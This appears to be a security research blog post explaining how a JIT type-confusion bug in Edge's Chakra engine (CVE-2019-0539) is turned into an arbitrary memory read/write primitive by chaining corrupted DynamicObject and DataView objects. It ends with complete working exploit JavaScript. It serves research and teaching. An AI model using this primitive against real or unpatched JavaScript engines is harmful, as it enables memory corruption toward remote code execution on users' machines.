Introduction.

In continuation to our previous blog post that covered the root cause analysis of CVE-2019-0539, we now continue to explain how to achieve a full R/W (Read/Write) primitive which can ultimately lead to a RCE (Remote Code Execution). It’s important to note that Microsoft Edge processes are sandboxed and therefore in order to fully compromise a system an additional vulnerability is needed to escape the sandbox.

We would like to acknowledge Lokihardt and Bruno Keith for their amazing research in this field which we found to be extremely valuable for the research presented below.

Exploitation.

As we have seen in the root cause analysis, the vulnerability gives us the ability to override a javascript object’s slot array pointer. Refer to the wondeful research of Bruno Keith presented at BlueHat IL 2019, and we learn that in Chakra, a javascript object (o={a: 1, b: 2};) is implemented in the Js::DynamicObject class which may have different memory layouts, and the properties slot array pointer is called auxSlots. From the DynamicObject class definition (in lib\Runtime\Types\DynamicObject.h), we see the actual specification of the three possible memory layouts for a DynamicObject that Bruno discusses:

// Memory layout of DynamicObject can be one of the following: // (#1) (#2) (#3) // +--------------+ +--------------+ +--------------+ // | vtable, etc. | | vtable, etc. | | vtable, etc. | // |--------------| |--------------| |--------------| // | auxSlots | | auxSlots | | inline slots | // | union | | union | | | // +--------------+ |--------------| | | // | inline slots | | | // +--------------+ +--------------+ // The allocation size of inline slots is variable and dependent on profile data for the // object. The offset of the inline slots is managed by DynamicTypeHandler.

So an object can have only an auxSlots pointer but no inline slots (#1), have only inline slots but no auxSlots pointer (#3), or have both (#2). In CVE-2019-0539 PoC, the ‘o’ object starts its lifespan in the (#3) memory layout form. Then, when the JIT code invokes the OP_InitClass function for the last time, the memory layout of object ‘o’ changes in-place to (#1). In particular, the exact memory layout of ‘o’ before and after the OP_InitClass fuction invocation by the JIT code is as follows:

Before: After:

+---------------+ +--------------+ +--->+--------------+

| vtable | | vtable | | | slot 1 | // o.a

+---------------+ +--------------+ | +--------------+

| type | | type | | | slot 2 | // o.b

+---------------+ +--------------+ | +--------------+

| inline slot 1 | // o.a | auxSlots +---+ | slot 3 |

+---------------+ +--------------+ +--------------+

| inline slot 2 | // o.b | objectArray | | slot 4 |

+---------------+ +--------------+ +--------------+

Before OP_InitClass invocation, the o.a property used to reside in the first inline slot. After the invocation, it resides in auxSlots array in slot 1. Thus, as we previously explained in the root cause analysis, the JIT code attempts to update the o.a property in the first inline slot with 0x1234, but since it is unaware to the fact that the object’s memory layout has changed, it actually overrides the auxSlots pointer.

Now, in order to exploit this vulnerability and achieve an absolute R\W primitive, then as Bruno explains, we need to corrupt some other useful object and use it to read\write arbitrary addresses in memory. But first, we need to better understand the ability that the vulnerability gives us. As we override the auxSlots pointer of a DynamicObject, we can then “treat” whatever we put in auxSlots as our auxSlots array. Thus, if for example we use the vulnerability to set auxSlots to point to a JavascriptArray object as follows:

some_array = [{}, 0, 1, 2]; ... opt(o, cons, some_array); // o->auxSlots = some_array

then we can later override the ‘some_array’ JavascriptArray object memory by assigning ‘o’ with properties. This is described in the following diagram of the memory state after overriding auxSlots using the vulnerability:

o some_array +--------------+ +--->+---------------------+ | vtable | | | vtable | // o.a +--------------+ | +---------------------+ | type | | | type | // o.b +--------------+ | +---------------------+ | auxSlots +---+ | auxSlots | // o.c? +--------------+ +---------------------+ | objectArray | | objectArray | // o.d? +--------------+ |- - - - - - - - - - -| | arrayFlags | | arrayCallSiteIndex | +---------------------+ | length | // o.e?? +---------------------+ | head | // o.f?? +---------------------+ | segmentUnion | // o.g?? +---------------------+ | .... | +---------------------+

Thus, theoretically, if for example we want to override the array length, we can do something like o.e = 0xFFFFFFFF, and then use some_array[1000] to access some distant address from the array’s base address. However, there are couple of issues:

All other properties except ‘a’ and ‘b’ are not yet defined. This means that in order to have o.e defined in the right slot, we first need to assign all other properties as well, an operation that will corrupt much more memory than necessary, rendering our array unusable.

The original auxSlots array is not large enough. It is initially allocated with only 4 slots. If we define more than 4 properties, the Js::DynamicTypeHandler::AdjustSlots function will allocate a new slots array, setting auxSlots to point to it instead of our JavascriptArray object.

The 0xFFFFFFFF value that we plan put in the length field of the JavascriptArray object will not be written exactly as is. Chakra utilizes what’s called tagged numbers, and so the number that will be written would be “boxed”. (See further exaplanations in Chartra’s blog post here).

Even if we were able to override just the length with some large value while avoiding corrupting the rest of the memory, this would only give us a “relative” R\W primitive (relative to the array base address), which is significantly less powerful than a full R\W primitive.

In fact (spoiler alert), overriding the length field of a JavascriptArray is not useful, and it won’t lead to the relative R\W primitive that we would expect to achieve. What actually needs to be done in this particular case is to corrupt the segment size of the array, but we won’t get into that here. Still, let’s assume that overriding the length field is useful, as it is a good showcase of the subtleties of the exploitation.

So, we need to come up with some special techniques to overcome the above mentioned issues. Let’s first discuss issues 1 and 2. The first thing that comes to mind is to pre-define more properties in ‘o’ object in advance, before triggering the vulnerability. Then, when overriding the auxSlots pointer, we already have o.e defined in the correct slot that corresponds to the length field of the array. Unfortunately, when adding more properties in advance, one of the two occures:

We change the object memory layout too early to layout (#1), hence inhibiting the vulnerability from occurring in the first place, as there is no chance of overriding the auxSlots pointer anymore.

We just create more inline slots that eventually remain inlined after triggering the vulnerability. The object ends up in layout (#2), with most of the properties reside in the new inlined slots. Therefore we still can’t reach slots higher than slot 2 in the alleged auxSlots array – the ‘some_array’ object memory.

Bruno Keith in his presentation came up with a great idea to tackle issues 1 and 2 together. Instead of directly corrupting the target object (JavascriptArray in our example), we first corrupt another DynamicObject that was prepared in advance to have many properties, and is already in memory layout (#1):

obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; some_array = [{}, 0, 1, 2]; ... opt(o, cons, obj); // o->auxSlots = obj o.c = some_array; // obj->auxSlots = some_array

Let’s observe the memory before and after running o.c = some_array;:

Before:

o obj

+--------------+ +--->+--------------+ +->+--------------+

| vtable | | | vtable | //o.a | | slot 1 | // obj.a

+--------------+ | +--------------+ | +--------------+

| type | | | type | //o.b | | slot 2 | // obj.b

+--------------+ | +--------------+ | +--------------+

| auxSlots +---+ | auxSlots +--------+ | slot 3 | // obj.c

+--------------+ +--------------+ +--------------+

| objectArray | | objectArray | | slot 4 | // obj.d

+--------------+ +--------------+ +--------------+

| slot 5 | // obj.e

+--------------+

| slot 6 | // obj.f

+--------------+

| slot 7 | // obj.g

+--------------+

| slot 8 | // obj.h

+--------------+

| slot 9 | // obj.i

+--------------+

| slot 10 | // obj.j

+--------------+



After:

o obj some_array

+--------------+ +--->+--------------+ +->+---------------------+

| vtable | | | vtable | //o.a | | vtable | // obj.a

+--------------+ | +--------------+ | +---------------------+

| type | | | type | //o.b | | type | // obj.b

+--------------+ | +--------------+ | +---------------------+

| auxSlots +---+ | auxSlots +-//o.c--+ | auxSlots | // obj.c

+--------------+ +--------------+ +---------------------+

| objectArray | | objectArray | | objectArray | // obj.d

+--------------+ +--------------+ |- - - - - - - - - - -|

| arrayFlags |

| arrayCallSiteIndex |

+---------------------+

| length | // obj.e

+---------------------+

| head | // obj.f

+---------------------+

| segmentUnion | // obj.g

+---------------------+

| .... |

+---------------------+

Now, executing obj.e = 0xFFFFFFFF will actually replace the length field of the ‘some_array’ object. However, as explained in issue 3, the value will not be written as is, but rather in its “boxed” form. Even if we ignore issue 3, issues 4-5 still render our chosen object not useful. Therefore, we ought to choose another object to corrupt. Bruno cleverly opted for using an ArrayBuffer object in his exploit, but unfortunately, in commit cf71a962c1ce0905a12cb3c8f23b6a37987e68df (Merge 1809 October Update changes), the memory layout of the ArrayBuffer object was changed. Rather than pointing directly at the data buffer, it points to an intermediate struct called RefCountedBuffer via a bufferContent field, and only this struct points at the actual data. Therefore, a different solution is required.

Eventually, we came up with the idea of corrupting a DataView object, which actually uses an ArrayBuffer internally. Therefore, it has similar advantages as to working with an ArrayBuffer, and it also directly points at the ArrayBuffer’s underlying data buffer! Here is the memory layout of a DataView object which is initialized with an ArrayBuffer (dv = new DataView(new ArrayBuffer(0x100));):

actual

DataView ArrayBuffer buffer

+---------------------+ +--->+---------------------+ RefCountedBuffer +--->+----+

| vtable | | | vtable | +--->+---------------------+ | | |

+---------------------+ | +---------------------+ | | buffer |---+ +----+

| type | | | type | | +---------------------+ | | |

+---------------------+ | +---------------------+ | | refCount | | +----+

| auxSlots | | | auxSlots | | +---------------------+ | | |

+---------------------+ | +---------------------+ | | +----+

| objectArray | | | objectArray | | | | |

|- - - - - - - - - - -| | |- - - - - - - - - - -| | | +----+

| arrayFlags | | | arrayFlags | | | | |

| arrayCallSiteIndex | | | arrayCallSiteIndex | | | +----+

+---------------------+ | +---------------------+ | | | |

| length | | | isDetached | | | +----+

+---------------------+ | +---------------------+ | | | |

| arrayBuffer |---+ | primaryParent | | | +----+

+---------------------+ +---------------------+ | | | |

| byteOffset | | otherParents | | | +----+

+---------------------+ +---------------------+ | | | |

| buffer |---+ | bufferContent |---+ | +----+

+---------------------+ | +---------------------+ | | |

| | bufferLength | | +----+

| +---------------------+ |

| |

+-------------------------------------------------------------+

As we can see, the DataView object points to the ArrayBuffer object. The ArrayBuffer points to the the aforementioned RefCountedBuffer object, which then points to the actual data buffer in memory. However, as said, observe that the DataView object also directly points to the actual data buffer as well! If we override the buffer field of the DataView object with our own pointer, we actually achieve the desired absolute read\write primitive as required. Our obstacle is then only issue 3 – we can’t use our corrupted DynamicObject to write plain numbers in memory (tagged numbers…). But now, as DataView objects allow us to write plain numbers on its pointed buffer (see the DataView “API” for details), we can get inspired by Bruno once again, and have two DataView objects in which the first is pointing at the second, and precisely corrupting it how we want. This will solve the last remaining issue, and give us our wanted absolute R\W primitive.

So let’s go over the entire exploitation process. See the drawing and explanation below (non interesting objects omitted):

o obj DataView #1 - dv1 DataView #2 - dv2

+--------------+ +->+--------------+ +->+---------------------+ +->+---------------------+ +--> 0x????

| vtable | | | vtable | //o.a | | vtable | //obj.a | | vtable | |

+--------------+ | +--------------+ | +---------------------+ | +---------------------+ |

| type | | | type | //o.b | | type | //obj.b | | type | |

+--------------+ | +--------------+ | +---------------------+ | +---------------------+ |

| auxSlots +-+ | auxSlots +-//o.c--+ | auxSlots | //obj.c | | auxSlots | |

+--------------+ +--------------+ +---------------------+ | +---------------------+ |

| objectArray | | objectArray | | objectArray | //obj.d | | objectArray | |

+--------------+ +--------------+ |- - - - - - - - - - -| | |- - - - - - - - - - -| |

| arrayFlags | | | arrayFlags | |

| arrayCallSiteIndex | | | arrayCallSiteIndex | |

+---------------------+ | +---------------------+ |

| length | //obj.e | | length | |

+---------------------+ | +---------------------+ |

| arrayBuffer | //obj.f | | arrayBuffer | |

+---------------------+ | +---------------------+ |

| byteOffset | //obj.g | | byteOffset | |

+---------------------+ | +---------------------+ |

| buffer |-//obj.h--+ | buffer |--+//dv1.setInt32(0x38,0x??,true);

+---------------------+ +---------------------+ //dv1.setInt32(0x3C,0x??,true);

Trigger the vulnerability to set ‘o’ auxSlots to ‘obj’ (opt(o, cons, obj);).

Use ‘o’ to set ‘obj’ auxSlots to the first DataView (o.c = dv1;).

Use ‘obj’ to set the first DataView (‘dv1’) buffer field to the next DataView object (obj.h = dv2;).

Use the first DataView object ‘dv1’ to precisely set the buffer field of the second DataView object ‘dv2’ to our address of choice. (dv1.setUint32(0x38, 0xDEADBEEF, true); dv1.setUint32(0x3C, 0xDEADBEEF, true);). Notice how we write our chosen address (0xDEADBEEFDEADBEEF) to the exact offset (0x38) of the buffer field of ‘dv2’.

Use the second DataView object (‘dv2’) to read\write our chosen address (dv2.getUint32(0, true); dv2.getUint32(4, true);).

We repeat steps 4 and 5 for every read\write we want to perform.

And here is the full R\W primitive code:

// commit 331aa3931ab69ca2bd64f7e020165e693b8030b5 obj = {} obj.a = 1; obj.b = 2; obj.c = 3; obj.d = 4; obj.e = 5; obj.f = 6; obj.g = 7; obj.h = 8; obj.i = 9; obj.j = 10; dv1 = new DataView(new ArrayBuffer(0x100)); dv2 = new DataView(new ArrayBuffer(0x100)); BASE = 0x100000000; function hex(x) { return "0x" + x.toString(16); } function opt(o, c, value) { o.b = 1; class A extends c {} o.a = value; } function main() { for (let i = 0; i < 2000; i++) { let o = {a: 1, b: 2}; opt(o, (function () {}), {}); } let o = {a: 1, b: 2}; let cons = function () {}; cons.prototype = o; opt(o, cons, obj); // o->auxSlots = obj (Step 1) o.c = dv1; // obj->auxSlots = dv1 (Step 2) obj.h = dv2; // dv1->buffer = dv2 (Step 3) let read64 = function(addr_lo, addr_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // read from addr (Step 5) return dv2.getInt32(0, true) + dv2.getInt32(4, true) * BASE; } let write64 = function(addr_lo, addr_hi, value_lo, value_hi) { // dv2->buffer = addr (Step 4) dv1.setUint32(0x38, addr_lo, true); dv1.setUint32(0x3C, addr_hi, true); // write to addr (Step 5) dv2.setInt32(0, value_lo, true); dv2.setInt32(0, value_hi, true); } // get dv2 vtable pointer vtable_lo = dv1.getUint32(0, true); vtable_hi = dv1.getUint32(4, true); print(hex(vtable_lo + vtable_hi * BASE)); // read first vtable entry using the R\W primitive print(hex(read64(vtable_lo, vtable_hi))); // write a value to address 0x1111111122222222 using the R\W primitive (this will crash) write64(0x22222222, 0x11111111, 0x1337, 0x1337); } main();

Note: If you want to debug the code yourself (in WinDBG for example), a very convenient way would be to use “instruments” to break on interesting lines of the JS code. See these two useful ones below:

Set a breakpoint on ch!WScriptJsrt::EchoCallback to stop on print(); calls.

Set a breakpoint on chakracore!Js::DynamicTypeHandler::SetSlotUnchecked to stop on DynamicObject properties assignments that are performed by the interpreter. This is extremely useful to see how the javascript objects (‘o’ and ‘obj’) corrupt other objects in memory.

Feel free to combine the two to navigate comfortably throughout the exploitation code.

Summary.

We have seen how we use the JIT corruption of the DynamicObject’s auxSlots to ultimately gain a full R\W primitive. We had to use the corrupted object to further corrupt other interesting objects – notably two DataView objects in which the first precisely corrupts the second to control the primitive’s address of choice. We had to bypass serveral limitations\issues imposed by working with the javascript’s DynamicObject “API”. Finally, be aware that gaining a full R\W primitive is only the first step of exploiting this bug. An attacker would still need to redirect execution flow to gain full RCE. However this is out of scope of this blog post, and could be considered as an exercise left for the reader.